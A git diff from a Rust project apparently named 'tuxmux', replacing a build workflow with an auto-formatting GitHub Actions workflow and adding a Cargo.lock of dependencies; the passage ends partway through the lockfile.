diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100644 index b7b8dfe..0000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,44 +0,0 @@ -name: Build project -on: - push: - pull_request: -jobs: - build: - name: Rust project - latest - runs-on: ubuntu-latest - strategy: - matrix: - # include: - # - rust_target: x86_64-unknown-linux-gnu - # artifact_name: tuxmux-glibc-amd64 - # - rust_target: x86_64-unknown-linux-musl - # artifact_name: tuxmux-musl-amd64 - # - rust_target: aarch64-unknown-linux-gnu - # artifact_name: tuxmux-glibc-aarch64 - # - rust_target: aarch64-unknown-linux-musl - # artifact_name: tuxmux-musl-aarch64 - # - rust_target: armv7-unknown-linux-gnueabihf - # artifact_name: tuxmux-glibc-aarch64 - toolchain: - - stable - steps: - - uses: actions/checkout@v4 - - name: Set up Rust - uses: dtolnay/rust-toolchain@stable - with: - toolchain: stable - target: ${{ matrix.rust_target }} - - name: Building client binary - run: cargo build --release --bin client --verbose - - uses: actions/upload-artifact@v4 - with: - name: tuxmux-client-glibc-amd64 - path: target/release/client - if-no-files-found: error - - name: Building server binary - run: cargo build --release --bin server --verbose - - uses: actions/upload-artifact@v4 - with: - name: tuxmux-server-glibc-amd64 - path: target/release/server - if-no-files-found: error \ No newline at end of file diff --git a/.github/workflows/push-pull.yml b/.github/workflows/push-pull.yml new file mode 100644 index 0000000..90c3e8d --- /dev/null +++ b/.github/workflows/push-pull.yml @@ -0,0 +1,67 @@ +name: Push/pull +on: + push: + pull_request: +jobs: + fmt: + name: Rust project - latest + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - uses: actions/checkout@v4 + - name: Set up Rust + uses: dtolnay/rust-toolchain@stable + with: + toolchain: nightly + components: rustfmt + - name: cargo fmt + run: cd implant && cargo fmt && cd ../server && cargo fmt + - name: Commit changes + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + git config --local user.email "github-actions[bot]@users.noreply.github.com" + git config --local user.name "GitHub Actions [Bot]" + git add -A + git commit -m "Automatic formatting" -a + git push + # build: + # name: Rust project - latest + # runs-on: ubuntu-latest + # strategy: + # matrix: + # # include: + # # - rust_target: x86_64-unknown-linux-gnu + # # artifact_name: tuxmux-glibc-amd64 + # # - rust_target: x86_64-unknown-linux-musl + # # artifact_name: tuxmux-musl-amd64 + # # - rust_target: aarch64-unknown-linux-gnu + # # artifact_name: tuxmux-glibc-aarch64 + # # - rust_target: aarch64-unknown-linux-musl + # # artifact_name: tuxmux-musl-aarch64 + # # - rust_target: armv7-unknown-linux-gnueabihf + # # artifact_name: tuxmux-glibc-aarch64 + # toolchain: + # - stable + # steps: + # - uses: actions/checkout@v4 + # - name: Set up Rust + # uses: dtolnay/rust-toolchain@stable + # with: + # toolchain: stable + # target: ${{ matrix.rust_target }} + # - name: Building client binary + # run: cargo build --release --bin client --verbose + # - uses: actions/upload-artifact@v4 + # with: + # name: tuxmux-client-glibc-amd64 + # path: target/release/client + # if-no-files-found: error + # - name: Building server binary + # run: cargo build --release --bin server --verbose + # - uses: actions/upload-artifact@v4 + # with: + # name: tuxmux-server-glibc-amd64 + # path: target/release/server + # if-no-files-found: error \ No newline at end of file diff --git a/.gitignore b/.gitignore index 2f7896d..95de1a3 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,3 @@ target/ +a.out +implant \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..a138f28 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,1078 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "bitflags" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3" + +[[package]] +name = "bumpalo" +version = "3.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d20789868f4b01b2f2caec9f5c4e0213b41e3e5702a50157d699ae31ced2fcb" + +[[package]] +name = "bytes" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" + +[[package]] +name = "cc" +version = "1.2.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43c5703da9466b66a946814e1adf53ea2c90f10063b86290cc9eb67ce3478a20" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "critical-section" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "790eea4361631c5e7d22598ecd5723ff611904e3344ce8720784c93e3d83d40b" + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "data-encoding" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7a1e2f27636f116493b8b860f5546edb47c8d8f8ea73e1d2a20be88e28d1fea" + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "enum-as-inner" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1e6a265c649f3f5979b601d26f1d05ada116434c87741c9493cb56218f76cbc" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fallible-iterator" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649" + +[[package]] +name = "fallible-streaming-iterator" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a" + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "foldhash" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "slab", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "hashbrown" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" +dependencies = [ + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f467dd6dccf739c208452f8014c75c18bb8301b050ad1cfb27153803edb0f51" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hickory-proto" +version = "0.25.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8a6fe56c0038198998a6f217ca4e7ef3a5e51f46163bd6dd60b5c71ca6c6502" +dependencies = [ + "async-trait", + "cfg-if", + "data-encoding", + "enum-as-inner", + "futures-channel", + "futures-util", + "idna", + "ipnet", + "once_cell", + "rand", + "thiserror", + "tinyvec", + "tracing", + "url", +] + +[[package]] +name = "icu_collections" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" + +[[package]] +name = "icu_properties" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" +dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" + +[[package]] +name = "icu_provider" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "implant" +version = "0.1.0" + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown 0.17.0", +] + +[[package]] +name = "ipnet" +version = "2.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" + +[[package]] +name = "js-sys" +version = "0.3.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2964e92d1d9dc3364cae4d718d93f227e3abb088e747d92e0395bfdedf1c12ca" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "libc" +version = "0.2.185" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ff2c0fe9bc6cb6b14a0592c2ff4fa9ceb83eea9db979b0487cd054946a2b8f" + +[[package]] +name = "libsqlite3-sys" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f111c8c41e7c61a49cd34e44c7619462967221a6443b0ec299e0ac30cfb9b1" +dependencies = [ + "pkg-config", + "vcpkg", +] + +[[package]] +name = "litemap" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" + +[[package]] +name = "mio" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50b7e5b27aa02a74bac8c3f23f448f8d87ff11f92d3aac1a6ed369ee08cc56c1" +dependencies = [ + "libc", + "wasi", + "windows-sys", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" +dependencies = [ + "critical-section", + "portable-atomic", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "permit" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8a5fe545d2e2e7b6ff42ca8dd6c1750ad41c311d41a736481d10a010078c88e" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pkg-config" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" + +[[package]] +name = "portable-atomic" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c33a9471896f1c69cecef8d20cbe2f7accd12527ce60845ff44c153bb2a21b49" + +[[package]] +name = "potential_utf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" +dependencies = [ + "zerovec", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c5af06bb1b7d3216d91932aed5265164bf384dc89cd6ba05cf59a35f5f76ea" +dependencies = [ + "rand_chacha", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" + +[[package]] +name = "rsqlite-vfs" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8a1f2315036ef6b1fbacd1972e8ee7688030b0a2121edfc2a6550febd41574d" +dependencies = [ + "hashbrown 0.16.1", + "thiserror", +] + +[[package]] +name = "rusqlite" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0d2b0146dd9661bf67bb107c0bb2a55064d556eeb3fc314151b957f313bcd4e" +dependencies = [ + "bitflags", + "fallible-iterator", + "fallible-streaming-iterator", + "libsqlite3-sys", + "smallvec", + "sqlite-wasm-rs", +] + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_spanned" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6662b5879511e06e8999a8a235d848113e942c9124f211511b16466ee2995f26" +dependencies = [ + "serde_core", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a0c28ca5908dbdbcd52e6fdaa00358ab88637f8ab33e1f188dd510eb44b53d" +dependencies = [ + "libc", + "signal-hook-registry", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "sqlite-wasm-rs" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4206ed3a67690b9c29b77d728f6acc3ce78f16bf846d83c94f76400320181b" +dependencies = [ + "cc", + "js-sys", + "rsqlite-vfs", + "wasm-bindgen", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tinystr" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e61e67053d25a4e82c844e8424039d9745781b3fc4f32b8d55ed50f5f667ef3" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a91135f59b1cbf38c91e73cf3386fca9bb77915c45ce2771460c9d92f0f3d776" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys", +] + +[[package]] +name = "tokio-macros" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "toml" +version = "1.1.2+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81f3d15e84cbcd896376e6730314d59fb5a87f31e4b038454184435cd57defee" +dependencies = [ + "indexmap", + "serde_core", + "serde_spanned", + "toml_datetime", + "toml_parser", + "toml_writer", + "winnow", +] + +[[package]] +name = "toml_datetime" +version = "1.1.1+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_parser" +version = "1.1.2+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2abe9b86193656635d2411dc43050282ca48aa31c2451210f4202550afb7526" +dependencies = [ + "winnow", +] + +[[package]] +name = "toml_writer" +version = "1.1.1+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "756daf9b1013ebe47a8776667b466417e2d4c5679d441c26230efd9ef78692db" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" + +[[package]] +name = "tuxmux" +version = "0.1.0" +dependencies = [ + "hickory-proto", + "permit", + "rusqlite", + "serde", + "signal-hook", + "tokio", + "toml", + "users", + "x25519-dalek", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "users" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24cc0f6d6f267b73e5a2cadf007ba8f9bc39c6a6f9666f8cf25ea809a153b032" +dependencies = [ + "libc", +] + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf938a0bacb0469e83c1e148908bd7d5a6010354cf4fb73279b7447422e3a89" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eeff24f84126c0ec2db7a449f0c2ec963c6a49efe0698c4242929da037ca28ed" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d08065faf983b2b80a79fd87d8254c409281cf7de75fc4b773019824196c904" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd04d9e306f1907bd13c6361b5c6bfc7b3b3c095ed3f8a9246390f8dbdee129" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "winnow" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09dac053f1cd375980747450bfc7250c264eaae0583872e845c0c7cd578872b5" + +[[package]] +name = "writeable" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" + +[[package]] +name = 